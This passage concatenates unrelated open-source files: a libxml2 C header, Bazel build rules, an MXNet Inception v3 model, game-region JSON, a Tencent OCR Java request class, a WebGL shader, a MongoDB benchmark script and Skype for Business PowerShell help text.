xmlParseElement (xmlParserCtxtPtr ctxt);
XMLPUBFUN xmlChar * XMLCALL
xmlParseVersionNum (xmlParserCtxtPtr ctxt);
XMLPUBFUN xmlChar * XMLCALL
xmlParseVersionInfo (xmlParserCtxtPtr ctxt);
XMLPUBFUN xmlChar * XMLCALL
xmlParseEncName (xmlParserCtxtPtr ctxt);
XMLPUBFUN const xmlChar * XMLCALL
xmlParseEncodingDecl (xmlParserCtxtPtr ctxt);
XMLPUBFUN int XMLCALL
xmlParseSDDecl (xmlParserCtxtPtr ctxt);
XMLPUBFUN void XMLCALL
xmlParseXMLDecl (xmlParserCtxtPtr ctxt);
XMLPUBFUN void XMLCALL
xmlParseTextDecl (xmlParserCtxtPtr ctxt);
XMLPUBFUN void XMLCALL
xmlParseMisc (xmlParserCtxtPtr ctxt);
XMLPUBFUN void XMLCALL
xmlParseExternalSubset (xmlParserCtxtPtr ctxt,
const xmlChar *ExternalID,
const xmlChar *SystemID);
/**
* XML_SUBSTITUTE_NONE:
*
* If no entities need to be substituted.
*/
#define XML_SUBSTITUTE_NONE 0
/**
* XML_SUBSTITUTE_REF:
*
* Whether general entities need to be substituted.
*/
#define XML_SUBSTITUTE_REF 1
/**
* XML_SUBSTITUTE_PEREF:
*
* Whether parameter entities need to be substituted.
*/
#define XML_SUBSTITUTE_PEREF 2
/**
* XML_SUBSTITUTE_BOTH:
*
* Both general and parameter entities need to be substituted.
*/
#define XML_SUBSTITUTE_BOTH 3
XMLPUBFUN xmlChar * XMLCALL
xmlStringDecodeEntities (xmlParserCtxtPtr ctxt,
const xmlChar *str,
int what,
xmlChar end,
xmlChar end2,
xmlChar end3);
XMLPUBFUN xmlChar * XMLCALL
xmlStringLenDecodeEntities (xmlParserCtxtPtr ctxt,
const xmlChar *str,
int len,
int what,
xmlChar end,
xmlChar end2,
xmlChar end3);
/*
* Generated by MACROS on top of parser.c c.f. PUSH_AND_POP.
*/
XMLPUBFUN int XMLCALL nodePush (xmlParserCtxtPtr ctxt,
xmlNodePtr value);
XMLPUBFUN xmlNodePtr XMLCALL nodePop (xmlParserCtxtPtr ctxt);
XMLPUBFUN int XMLCALL inputPush (xmlParserCtxtPtr ctxt,
xmlParserInputPtr value);
XMLPUBFUN xmlParserInputPtr XMLCALL inputPop (xmlParserCtxtPtr ctxt);
XMLPUBFUN const xmlChar * XMLCALL namePop (xmlParserCtxtPtr ctxt);
XMLPUBFUN int XMLCALL namePush (xmlParserCtxtPtr ctxt,
const xmlChar *value);
/*
* other commodities shared between parser.c and parserInternals.
*/
XMLPUBFUN int XMLCALL xmlSkipBlankChars (xmlParserCtxtPtr ctxt);
XMLPUBFUN int XMLCALL xmlStringCurrentChar (xmlParserCtxtPtr ctxt,
const xmlChar *cur,
int *len);
XMLPUBFUN void XMLCALL xmlParserHandlePEReference(xmlParserCtxtPtr ctxt);
XMLPUBFUN int XMLCALL xmlCheckLanguageID (const xmlChar *lang);
/*
* Really core function shared with HTML parser.
*/
XMLPUBFUN int XMLCALL xmlCurrentChar (xmlParserCtxtPtr ctxt,
int *len);
XMLPUBFUN int XMLCALL xmlCopyCharMultiByte (xmlChar *out,
int val);
XMLPUBFUN int XMLCALL xmlCopyChar (int len,
xmlChar *out,
int val);
XMLPUBFUN void XMLCALL xmlNextChar (xmlParserCtxtPtr ctxt);
XMLPUBFUN void XMLCALL xmlParserInputShrink (xmlParserInputPtr in);
#ifdef LIBXML_HTML_ENABLED
/*
* Actually comes from the HTML parser but launched from the init stuff.
*/
XMLPUBFUN void XMLCALL htmlInitAutoClose (void);
XMLPUBFUN htmlParserCtxtPtr XMLCALL htmlCreateFileParserCtxt(const char *filename,
const char *encoding);
#endif
/*
* Specific function to keep track of entities references
* and used by the XSLT debugger.
*/
#ifdef LIBXML_LEGACY_ENABLED
/**
* xmlEntityReferenceFunc:
* @ent: the entity
* @firstNode: the fist node in the chunk
* @lastNode: the last nod in the chunk
*
* Callback function used when one needs to be able to track back the
* provenance of a chunk of nodes inherited from an entity replacement.
*/
typedef void (*xmlEntityReferenceFunc) (xmlEntityPtr ent,
xmlNodePtr firstNode,
xmlNodePtr lastNode);
XMLPUBFUN void XMLCALL xmlSetEntityReferenceFunc (xmlEntityReferenceFunc func);
XMLPUBFUN xmlChar * XMLCALL
xmlParseQuotedString (xmlParserCtxtPtr ctxt);
XMLPUBFUN void XMLCALL
xmlParseNamespace (xmlParserCtxtPtr ctxt);
XMLPUBFUN xmlChar * XMLCALL
xmlNamespaceParseNSDef (xmlParserCtxtPtr ctxt);
XMLPUBFUN xmlChar * XMLCALL
xmlScanName (xmlParserCtxtPtr ctxt);
XMLPUBFUN xmlChar * XMLCALL
xmlNamespaceParseNCName (xmlParserCtxtPtr ctxt);
XMLPUBFUN void XMLCALL xmlParserHandleReference(xmlParserCtxtPtr ctxt);
XMLPUBFUN xmlChar * XMLCALL
xmlNamespaceParseQName (xmlParserCtxtPtr ctxt,
xmlChar **prefix);
/**
* Entities
*/
XMLPUBFUN xmlChar * XMLCALL
xmlDecodeEntities (xmlParserCtxtPtr ctxt,
int len,
int what,
xmlChar end,
xmlChar end2,
xmlChar end3);
XMLPUBFUN void XMLCALL
xmlHandleEntity (xmlParserCtxtPtr ctxt,
xmlEntityPtr entity);
#endif /* LIBXML_LEGACY_ENABLED */
#ifdef IN_LIBXML
/*
* internal only
*/
XMLPUBFUN void XMLCALL
xmlErrMemory (xmlParserCtxtPtr ctxt,
const char *extra);
#endif
#ifdef __cplusplus
}
#endif
#endif /* __XML_PARSER_INTERNALS_H__ */
| {
"pile_set_name": "Github"
} |
No match for
| {
"pile_set_name": "Github"
} |
package(default_visibility = ["//visibility:public"])
licenses(["notice"])
load(
"@io_bazel_rules_go//go:def.bzl",
"go_library",
)
go_library(
name = "go_default_library",
srcs = [
"doc.go",
"fake_podpreset.go",
"fake_settings_client.go",
],
tags = ["automanaged"],
deps = [
"//pkg/apis/settings/v1alpha1:go_default_library",
"//pkg/client/clientset_generated/clientset/typed/settings/v1alpha1:go_default_library",
"//vendor/k8s.io/apimachinery/pkg/apis/meta/v1:go_default_library",
"//vendor/k8s.io/apimachinery/pkg/labels:go_default_library",
"//vendor/k8s.io/apimachinery/pkg/runtime/schema:go_default_library",
"//vendor/k8s.io/apimachinery/pkg/types:go_default_library",
"//vendor/k8s.io/apimachinery/pkg/watch:go_default_library",
"//vendor/k8s.io/client-go/rest:go_default_library",
"//vendor/k8s.io/client-go/testing:go_default_library",
],
)
filegroup(
name = "package-srcs",
srcs = glob(["**"]),
tags = ["automanaged"],
visibility = ["//visibility:private"],
)
filegroup(
name = "all-srcs",
srcs = [":package-srcs"],
tags = ["automanaged"],
)
| {
"pile_set_name": "Github"
} |
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
# coding: utf-8
# pylint: disable= arguments-differ,unused-argument
"""Inception, implemented in Gluon."""
__all__ = ['Inception3', 'inception_v3']
from mxnet.context import cpu
from mxnet.gluon.block import HybridBlock
from mxnet.gluon import nn
from mxnet.gluon.nn import BatchNorm
from mxnet.gluon.contrib.nn import HybridConcurrent
# Helpers
def _make_basic_conv(norm_layer=BatchNorm, norm_kwargs=None, **kwargs):
out = nn.HybridSequential(prefix='')
out.add(nn.Conv2D(use_bias=False, **kwargs))
out.add(norm_layer(epsilon=0.001, **({} if norm_kwargs is None else norm_kwargs)))
out.add(nn.Activation('relu'))
return out
def _make_branch(use_pool, norm_layer, norm_kwargs, *conv_settings):
out = nn.HybridSequential(prefix='')
if use_pool == 'avg':
out.add(nn.AvgPool2D(pool_size=3, strides=1, padding=1))
elif use_pool == 'max':
out.add(nn.MaxPool2D(pool_size=3, strides=2))
setting_names = ['channels', 'kernel_size', 'strides', 'padding']
for setting in conv_settings:
kwargs = {}
for i, value in enumerate(setting):
if value is not None:
kwargs[setting_names[i]] = value
out.add(_make_basic_conv(norm_layer, norm_kwargs, **kwargs))
return out
def _make_A(pool_features, prefix, norm_layer, norm_kwargs):
out = HybridConcurrent(axis=1, prefix=prefix)
with out.name_scope():
out.add(_make_branch(None, norm_layer, norm_kwargs,
(64, 1, None, None)))
out.add(_make_branch(None, norm_layer, norm_kwargs,
(48, 1, None, None),
(64, 5, None, 2)))
out.add(_make_branch(None, norm_layer, norm_kwargs,
(64, 1, None, None),
(96, 3, None, 1),
(96, 3, None, 1)))
out.add(_make_branch('avg', norm_layer, norm_kwargs,
(pool_features, 1, None, None)))
return out
def _make_B(prefix, norm_layer, norm_kwargs):
out = HybridConcurrent(axis=1, prefix=prefix)
with out.name_scope():
out.add(_make_branch(None, norm_layer, norm_kwargs,
(384, 3, 2, None)))
out.add(_make_branch(None, norm_layer, norm_kwargs,
(64, 1, None, None),
(96, 3, None, 1),
(96, 3, 2, None)))
out.add(_make_branch('max', norm_layer, norm_kwargs))
return out
def _make_C(channels_7x7, prefix, norm_layer, norm_kwargs):
out = HybridConcurrent(axis=1, prefix=prefix)
with out.name_scope():
out.add(_make_branch(None, norm_layer, norm_kwargs,
(192, 1, None, None)))
out.add(_make_branch(None, norm_layer, norm_kwargs,
(channels_7x7, 1, None, None),
(channels_7x7, (1, 7), None, (0, 3)),
(192, (7, 1), None, (3, 0))))
out.add(_make_branch(None, norm_layer, norm_kwargs,
(channels_7x7, 1, None, None),
(channels_7x7, (7, 1), None, (3, 0)),
(channels_7x7, (1, 7), None, (0, 3)),
(channels_7x7, (7, 1), None, (3, 0)),
(192, (1, 7), None, (0, 3))))
out.add(_make_branch('avg', norm_layer, norm_kwargs,
(192, 1, None, None)))
return out
def _make_D(prefix, norm_layer, norm_kwargs):
out = HybridConcurrent(axis=1, prefix=prefix)
with out.name_scope():
out.add(_make_branch(None, norm_layer, norm_kwargs,
(192, 1, None, None),
(320, 3, 2, None)))
out.add(_make_branch(None, norm_layer, norm_kwargs,
(192, 1, None, None),
(192, (1, 7), None, (0, 3)),
(192, (7, 1), None, (3, 0)),
(192, 3, 2, None)))
out.add(_make_branch('max', norm_layer, norm_kwargs))
return out
def _make_E(prefix, norm_layer, norm_kwargs):
out = HybridConcurrent(axis=1, prefix=prefix)
with out.name_scope():
out.add(_make_branch(None, norm_layer, norm_kwargs,
(320, 1, None, None)))
branch_3x3 = nn.HybridSequential(prefix='')
out.add(branch_3x3)
branch_3x3.add(_make_branch(None, norm_layer, norm_kwargs,
(384, 1, None, None)))
branch_3x3_split = HybridConcurrent(axis=1, prefix='')
branch_3x3_split.add(_make_branch(None, norm_layer, norm_kwargs,
(384, (1, 3), None, (0, 1))))
branch_3x3_split.add(_make_branch(None, norm_layer, norm_kwargs,
(384, (3, 1), None, (1, 0))))
branch_3x3.add(branch_3x3_split)
branch_3x3dbl = nn.HybridSequential(prefix='')
out.add(branch_3x3dbl)
branch_3x3dbl.add(_make_branch(None, norm_layer, norm_kwargs,
(448, 1, None, None),
(384, 3, None, 1)))
branch_3x3dbl_split = HybridConcurrent(axis=1, prefix='')
branch_3x3dbl.add(branch_3x3dbl_split)
branch_3x3dbl_split.add(_make_branch(None, norm_layer, norm_kwargs,
(384, (1, 3), None, (0, 1))))
branch_3x3dbl_split.add(_make_branch(None, norm_layer, norm_kwargs,
(384, (3, 1), None, (1, 0))))
out.add(_make_branch('avg', norm_layer, norm_kwargs,
(192, 1, None, None)))
return out
def make_aux(classes, norm_layer, norm_kwargs):
out = nn.HybridSequential(prefix='')
out.add(nn.AvgPool2D(pool_size=5, strides=3))
out.add(_make_basic_conv(channels=128, kernel_size=1,
norm_layer=norm_layer, norm_kwargs=norm_kwargs))
out.add(_make_basic_conv(channels=768, kernel_size=5,
norm_layer=norm_layer, norm_kwargs=norm_kwargs))
out.add(nn.Flatten())
out.add(nn.Dense(classes))
return out
# Net
class Inception3(HybridBlock):
r"""Inception v3 model from
`"Rethinking the Inception Architecture for Computer Vision"
<http://arxiv.org/abs/1512.00567>`_ paper.
Parameters
----------
classes : int, default 1000
Number of classification classes.
norm_layer : object
Normalization layer used (default: :class:`mxnet.gluon.nn.BatchNorm`)
Can be :class:`mxnet.gluon.nn.BatchNorm` or :class:`mxnet.gluon.contrib.nn.SyncBatchNorm`.
norm_kwargs : dict
Additional `norm_layer` arguments, for example `num_devices=4`
for :class:`mxnet.gluon.contrib.nn.SyncBatchNorm`.
"""
def __init__(self, classes=1000, norm_layer=BatchNorm,
norm_kwargs=None, partial_bn=False, **kwargs):
super(Inception3, self).__init__(**kwargs)
# self.use_aux_logits = use_aux_logits
with self.name_scope():
self.features = nn.HybridSequential(prefix='')
self.features.add(_make_basic_conv(channels=32, kernel_size=3, strides=2,
norm_layer=norm_layer, norm_kwargs=norm_kwargs))
if partial_bn:
if norm_kwargs is not None:
norm_kwargs['use_global_stats'] = True
else:
norm_kwargs = {}
norm_kwargs['use_global_stats'] = True
self.features.add(_make_basic_conv(channels=32, kernel_size=3,
norm_layer=norm_layer, norm_kwargs=norm_kwargs))
self.features.add(_make_basic_conv(channels=64, kernel_size=3, padding=1,
norm_layer=norm_layer, norm_kwargs=norm_kwargs))
self.features.add(nn.MaxPool2D(pool_size=3, strides=2))
self.features.add(_make_basic_conv(channels=80, kernel_size=1,
norm_layer=norm_layer, norm_kwargs=norm_kwargs))
self.features.add(_make_basic_conv(channels=192, kernel_size=3,
norm_layer=norm_layer, norm_kwargs=norm_kwargs))
self.features.add(nn.MaxPool2D(pool_size=3, strides=2))
self.features.add(_make_A(32, 'A1_', norm_layer, norm_kwargs))
self.features.add(_make_A(64, 'A2_', norm_layer, norm_kwargs))
self.features.add(_make_A(64, 'A3_', norm_layer, norm_kwargs))
self.features.add(_make_B('B_', norm_layer, norm_kwargs))
self.features.add(_make_C(128, 'C1_', norm_layer, norm_kwargs))
self.features.add(_make_C(160, 'C2_', norm_layer, norm_kwargs))
self.features.add(_make_C(160, 'C3_', norm_layer, norm_kwargs))
self.features.add(_make_C(192, 'C4_', norm_layer, norm_kwargs))
self.features.add(_make_D('D_', norm_layer, norm_kwargs))
self.features.add(_make_E('E1_', norm_layer, norm_kwargs))
self.features.add(_make_E('E2_', norm_layer, norm_kwargs))
self.features.add(nn.AvgPool2D(pool_size=8))
self.features.add(nn.Dropout(0.5))
self.output = nn.Dense(classes)
def hybrid_forward(self, F, x):
x = self.features(x)
x = self.output(x)
return x
# Constructor
def inception_v3(pretrained=False, ctx=cpu(),
root='~/.mxnet/models', partial_bn=False, **kwargs):
r"""Inception v3 model from
`"Rethinking the Inception Architecture for Computer Vision"
<http://arxiv.org/abs/1512.00567>`_ paper.
Parameters
----------
pretrained : bool or str
Boolean value controls whether to load the default pretrained weights for model.
String value represents the hashtag for a certain version of pretrained weights.
ctx : Context, default CPU
The context in which to load the pretrained weights.
root : str, default $MXNET_HOME/models
Location for keeping the model parameters.
partial_bn : bool, default False
Freeze all batch normalization layers during training except the first layer.
norm_layer : object
Normalization layer used (default: :class:`mxnet.gluon.nn.BatchNorm`)
Can be :class:`mxnet.gluon.nn.BatchNorm` or :class:`mxnet.gluon.contrib.nn.SyncBatchNorm`.
norm_kwargs : dict
Additional `norm_layer` arguments, for example `num_devices=4`
for :class:`mxnet.gluon.contrib.nn.SyncBatchNorm`.
"""
net = Inception3(**kwargs)
if pretrained:
from .model_store import get_model_file
net.load_parameters(get_model_file('inceptionv3',
tag=pretrained, root=root), ctx=ctx)
from ..data import ImageNet1kAttr
attrib = ImageNet1kAttr()
net.synset = attrib.synset
net.classes = attrib.classes
net.classes_long = attrib.classes_long
return net
| {
"pile_set_name": "Github"
} |
[
{
"capacity": 64,
"mods": [
{
"town_dir": "",
"neighbors": [
"context-Popustop.hall11000.line976",
"",
"",
""
],
"realm": "Popustop",
"orientation": 1,
"nitty_bits": 3,
"locked": true,
"is_turf": true,
"port_dir": "",
"type": "Region"
}
],
"ref": "context-Popustop.1001",
"name": "Popustop #1001",
"type": "context"
},
{
"type": "item",
"mods": [
{
"y": 4,
"x": 0,
"style": 1,
"type": "Ground",
"orientation": 228
}
],
"ref": "item-ground.Popustop.1001",
"name": "Ground",
"in": "context-Popustop.1001"
},
{
"type": "item",
"mods": [
{
"y": 0,
"x": 0,
"style": 4,
"type": "Wall",
"orientation": 220
}
],
"ref": "item-wall.Popustop.1001",
"name": "Wall",
"in": "context-Popustop.1001"
},
{
"type": "item",
"mods": [
{
"style": 1,
"orientation": 8,
"x": 132,
"y": 59,
"gr_state": 1,
"type": "Window"
}
],
"ref": "item-window.Popustop.1001",
"name": "Window",
"in": "context-Popustop.1001"
},
{
"ref": "item-couch.Popustop.1001",
"mods": [
{
"style": 0,
"orientation": 0,
"gr_state": 0,
"y": 152,
"x": 4,
"type": "Couch"
}
],
"type": "item",
"name": "Turf couch",
"in": "context-Popustop.1001"
},
{
"ref": "item-chest1.Popustop.1001",
"mods": [
{
"style": 0,
"orientation": 228,
"gr_state": 0,
"y": 24,
"x": 64,
"type": "Chest",
"open_flags": 2
}
],
"type": "item",
"name": "Rant Cabinet",
"in": "context-Popustop.1001"
},
{
"ref": "item-door.Popustop.1001",
"mods": [
{
"orientation": 252,
"connection": "context-Popustop.hall11000.line976",
"gr_state": 0,
"y": 33,
"x": 100,
"type": "Door",
"open_flags": 2
}
],
"type": "item",
"name": ".",
"in": "context-Popustop.1001"
},
{
"type": "item",
"mods": [
{
"y": 148,
"x": 48,
"type": "Floor_lamp",
"orientation": 8,
"on": 1
}
],
"ref": "item-floor_lamp.Popustop.1001",
"name": "Floor_lamp",
"in": "context-Popustop.1001"
},
{
"type": "item",
"mods": [
{
"style": 3,
"orientation": 16,
"mass": 1,
"x": 16,
"y": 70,
"gr_state": 0,
"type": "Picture"
}
],
"ref": "item-picture.Popustop.1001",
"name": "Picture",
"in": "context-Popustop.1001"
}
]
| {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 2017-2018 THL A29 Limited, a Tencent company. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.tencentcloudapi.ocr.v20181119.models;
import com.tencentcloudapi.common.AbstractModel;
import com.google.gson.annotations.SerializedName;
import com.google.gson.annotations.Expose;
import java.util.HashMap;
public class LicensePlateOCRRequest extends AbstractModel{
/**
* 图片的 Base64 值。
支持的图片格式:PNG、JPG、JPEG,暂不支持 GIF 格式。
支持的图片大小:所下载图片经Base64编码后不超过 3M。图片下载时间不超过 3 秒。
图片的 ImageUrl、ImageBase64 必须提供一个,如果都提供,只使用 ImageUrl。
*/
@SerializedName("ImageBase64")
@Expose
private String ImageBase64;
/**
* 图片的 Url 地址。
支持的图片格式:PNG、JPG、JPEG,暂不支持 GIF 格式。
支持的图片大小:所下载图片经 Base64 编码后不超过 3M。图片下载时间不超过 3 秒。
图片存储于腾讯云的 Url 可保障更高的下载速度和稳定性,建议图片存储于腾讯云。
非腾讯云存储的 Url 速度和稳定性可能受一定影响。
*/
@SerializedName("ImageUrl")
@Expose
private String ImageUrl;
/**
* Get 图片的 Base64 值。
支持的图片格式:PNG、JPG、JPEG,暂不支持 GIF 格式。
支持的图片大小:所下载图片经Base64编码后不超过 3M。图片下载时间不超过 3 秒。
图片的 ImageUrl、ImageBase64 必须提供一个,如果都提供,只使用 ImageUrl。
* @return ImageBase64 图片的 Base64 值。
支持的图片格式:PNG、JPG、JPEG,暂不支持 GIF 格式。
支持的图片大小:所下载图片经Base64编码后不超过 3M。图片下载时间不超过 3 秒。
图片的 ImageUrl、ImageBase64 必须提供一个,如果都提供,只使用 ImageUrl。
*/
public String getImageBase64() {
return this.ImageBase64;
}
/**
* Set 图片的 Base64 值。
支持的图片格式:PNG、JPG、JPEG,暂不支持 GIF 格式。
支持的图片大小:所下载图片经Base64编码后不超过 3M。图片下载时间不超过 3 秒。
图片的 ImageUrl、ImageBase64 必须提供一个,如果都提供,只使用 ImageUrl。
* @param ImageBase64 图片的 Base64 值。
支持的图片格式:PNG、JPG、JPEG,暂不支持 GIF 格式。
支持的图片大小:所下载图片经Base64编码后不超过 3M。图片下载时间不超过 3 秒。
图片的 ImageUrl、ImageBase64 必须提供一个,如果都提供,只使用 ImageUrl。
*/
public void setImageBase64(String ImageBase64) {
this.ImageBase64 = ImageBase64;
}
/**
* Get 图片的 Url 地址。
支持的图片格式:PNG、JPG、JPEG,暂不支持 GIF 格式。
支持的图片大小:所下载图片经 Base64 编码后不超过 3M。图片下载时间不超过 3 秒。
图片存储于腾讯云的 Url 可保障更高的下载速度和稳定性,建议图片存储于腾讯云。
非腾讯云存储的 Url 速度和稳定性可能受一定影响。
* @return ImageUrl 图片的 Url 地址。
支持的图片格式:PNG、JPG、JPEG,暂不支持 GIF 格式。
支持的图片大小:所下载图片经 Base64 编码后不超过 3M。图片下载时间不超过 3 秒。
图片存储于腾讯云的 Url 可保障更高的下载速度和稳定性,建议图片存储于腾讯云。
非腾讯云存储的 Url 速度和稳定性可能受一定影响。
*/
public String getImageUrl() {
return this.ImageUrl;
}
/**
* Set 图片的 Url 地址。
支持的图片格式:PNG、JPG、JPEG,暂不支持 GIF 格式。
支持的图片大小:所下载图片经 Base64 编码后不超过 3M。图片下载时间不超过 3 秒。
图片存储于腾讯云的 Url 可保障更高的下载速度和稳定性,建议图片存储于腾讯云。
非腾讯云存储的 Url 速度和稳定性可能受一定影响。
* @param ImageUrl 图片的 Url 地址。
支持的图片格式:PNG、JPG、JPEG,暂不支持 GIF 格式。
支持的图片大小:所下载图片经 Base64 编码后不超过 3M。图片下载时间不超过 3 秒。
图片存储于腾讯云的 Url 可保障更高的下载速度和稳定性,建议图片存储于腾讯云。
非腾讯云存储的 Url 速度和稳定性可能受一定影响。
*/
public void setImageUrl(String ImageUrl) {
this.ImageUrl = ImageUrl;
}
/**
* Internal implementation, normal users should not use it.
*/
public void toMap(HashMap<String, String> map, String prefix) {
this.setParamSimple(map, prefix + "ImageBase64", this.ImageBase64);
this.setParamSimple(map, prefix + "ImageUrl", this.ImageUrl);
}
}
| {
"pile_set_name": "Github"
} |
/*
Copyright 2013-2020 the original author or authors from the JHipster project.
This file is part of the JHipster project, see https://jhipster.github.io/
for more information.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
export * from './src/ng-jhipster.module';
// Re export the files
export * from './src/pipe';
export * from './src/directive';
export * from './src/service';
export * from './src/component';
export * from './src/language';
export * from './src/config.service';
export * from './src/config';
| {
"pile_set_name": "Github"
} |
uniform float dashWidth;
#ifdef SMOOTH_COLOR
noperspective in vec4 finalColor;
#else
flat in vec4 finalColor;
#endif
noperspective in vec2 stipple_pos;
flat in vec2 stipple_start;
out vec4 fragColor;
void main()
{
fragColor = finalColor;
/* Avoid passing viewport size */
vec2 dd = fwidth(stipple_pos);
float dist = distance(stipple_start, stipple_pos) / max(dd.x, dd.y);
if (fract(dist / dashWidth) > 0.5) {
fragColor.rgb = vec3(0.0);
}
fragColor = blender_srgb_to_framebuffer_space(fragColor);
}
| {
"pile_set_name": "Github"
} |
{
"images" : [
{
"idiom" : "universal",
"filename" : "rank-8.pdf"
}
],
"info" : {
"version" : 1,
"author" : "xcode"
},
"properties" : {
"preserves-vector-representation" : true
}
} | {
"pile_set_name": "Github"
} |
// Mongo throughput benchmark harness.
// The entire setup corresponds to tiedot bench(1).
// Prepare a collection with 2 indexes
use bench;
db.dropDatabase()
db.createCollection("col")
db.col.ensureIndex({"a": 1})
db.col.ensureIndex({"b": 1})
// Insert approx. half million documents, 1KB each
ops = [{op: "insert", ns: "bench.col", safe: false, doc: {"a": {"#RAND_INT": [0, 1000000]}, "b": {"#RAND_INT": [0, 1000000]}, "more": "Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed mi sem, ultrices mollis nisl quis, convallis volutpat ante. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos. Proin interdum egestas risus, imperdiet vulputate est. Cras semper risus sit amet dolor facilisis malesuada. Nunc velit augue, accumsan id facilisis ultricies, vehicula eget massa. Ut non dui eu magna egestas aliquam. Fusce in pellentesque risus. Aliquam ornare pharetra lacus in rhoncus. In eu commodo nibh. Praesent at lacinia quam. Curabitur laoreet pellentesque mollis. Maecenas mollis bibendum neque. Pellentesque semper justo ac purus auctor cursus. In egestas sodales metus sed dictum. Vivamus at elit nunc. Phasellus sit amet augue sed augue rhoncus congue. Aenean et molestie augue. Aliquam blandit lacus eu nunc rhoncus, vitae varius mauris placerat. Quisque velit urna, pretium quis dolor et, blandit sodales libero. Nulla sollicitudin est vel dolor feugiat viverra massa nunc."}}]
benchRun({parallel: 8, seconds: 50, ops: ops})
// Read: index lookup of one attribute
ops = [{op: "findOne", ns: "bench.col", query: {"a": {"#RAND_INT": [0, 1000000]}}}]
benchRun({parallel: 8, seconds: 10, ops: ops})
// Query: index lookup on two document attributes
ops = [{op: "findOne", ns: "bench.col", query: {"a": {"#RAND_INT": [0, 1000000]}, "b": {"#RAND_INT": [0, 1000000]}}}]
benchRun({parallel: 8, seconds: 10, ops: ops})
// Update that rewrites both indexed attributes
ops = [{op: "update", ns: "bench.col", safe: false, query: {"a": {"#RAND_INT": [0, 1000000]}}, update: {"a": "updated", "b": "updated"}}]
benchRun({parallel: 8, seconds: 10, ops: ops})
// Delete
db.col.count()
ops = [{op: "remove", ns: "bench.col", query: {"a": {"#RAND_INT": [0, 1000000]}}}]
benchRun({parallel: 8, seconds: 10, ops: ops})
db.col.count() | {
"pile_set_name": "Github"
} |
---
external help file: Microsoft.Rtc.Management.dll-help.xml
online version: https://docs.microsoft.com/powershell/module/skype/set-csclientpolicy
applicable: Lync Server 2010, Lync Server 2013, Skype for Business Online, Skype for Business Server 2015, Skype for Business Server 2019
title: Set-CsClientPolicy
schema: 2.0.0
manager: bulenteg
author: tomkau
ms.author: tomkau
ms.reviewer: rogupta
---
# Set-CsClientPolicy
## SYNOPSIS
Modifies the property values of an existing client policy.
Among other things, client policies help determine the features of Skype for Business that are available to users; for example, you might give some users the right to transfer files while denying this right to other users.
This cmdlet was introduced in Lync Server 2010.
## SYNTAX
### Identity (Default)
```
Set-CsClientPolicy [-Tenant <Guid>] [-PolicyEntry <PSListModifier>] [-Description <String>]
[-AddressBookAvailability <AddressBookAvailability>] [-AttendantSafeTransfer <Boolean>]
[-AutoDiscoveryRetryInterval <TimeSpan>] [-BlockConversationFromFederatedContacts <Boolean>]
[-CalendarStatePublicationInterval <UInt32>] [-CustomizedHelpUrl <String>]
[-CustomLinkInErrorMessages <String>] [-CustomStateUrl <String>] [-DGRefreshInterval <TimeSpan>]
[-DisableCalendarPresence <Boolean>] [-DisableContactCardOrganizationTab <Boolean>]
[-DisableEmailComparisonCheck <Boolean>] [-DisableEmoticons <Boolean>]
[-DisableFeedsTab <Boolean>] [-DisableFederatedPromptDisplayName <Boolean>]
[-DisableFreeBusyInfo <Boolean>] [-DisableHandsetOnLockedMachine <Boolean>]
[-DisableMeetingSubjectAndLocation <Boolean>] [-DisableHtmlIm <Boolean>]
[-DisableInkIM <Boolean>] [-DisableOneNote12Integration <Boolean>]
[-DisableOnlineContextualSearch <Boolean>] [-DisablePhonePresence <Boolean>]
[-DisablePICPromptDisplayName <Boolean>] [-DisablePoorDeviceWarnings <Boolean>]
[-DisablePoorNetworkWarnings <Boolean>] [-DisablePresenceNote <Boolean>]
[-DisableRTFIM <Boolean>] [-DisableSavingIM <Boolean>] [-DisplayPhoto <DisplayPhoto>]
[-EnableAppearOffline <Boolean>] [-EnableCallLogAutoArchiving <Boolean>]
[-EnableClientAutoPopulateWithTeam <Boolean>] [-EnableClientMusicOnHold <Boolean>]
[-EnableConversationWindowTabs <Boolean>] [-EnableEnterpriseCustomizedHelp <Boolean>]
[-EnableEventLogging <Boolean>] [-EnableExchangeContactSync <Boolean>]
[-EnableExchangeDelegateSync <Boolean>] [-EnableExchangeContactsFolder <Boolean>]
[-EnableFullScreenVideo <Boolean>] [-EnableHighPerformanceConferencingAppSharing <Boolean>]
[-EnableHotdesking <Boolean>] [-EnableIMAutoArchiving <Boolean>]
[-EnableMediaRedirection <Boolean>] [-EnableMeetingEngagement <Boolean>]
[-EnableNotificationForNewSubscribers <Boolean>] [-EnableServerConversationHistory <Boolean>]
[-EnableSkypeUI <Boolean>] [-EnableSQMData <Boolean>] [-EnableTracing <Boolean>]
[-EnableURL <Boolean>] [-EnableUnencryptedFileTransfer <Boolean>]
[-EnableVOIPCallDefault <Boolean>] [-ExcludedContactFolders <String>] [-HotdeskingTimeout <TimeSpan>]
[-IMWarning <String>] [-MAPIPollInterval <TimeSpan>] [-MaximumDGsAllowedInContactList <UInt32>]
[-MaximumNumberOfContacts <UInt16>] [-MaxPhotoSizeKB <UInt32>] [-MusicOnHoldAudioFile <String>]
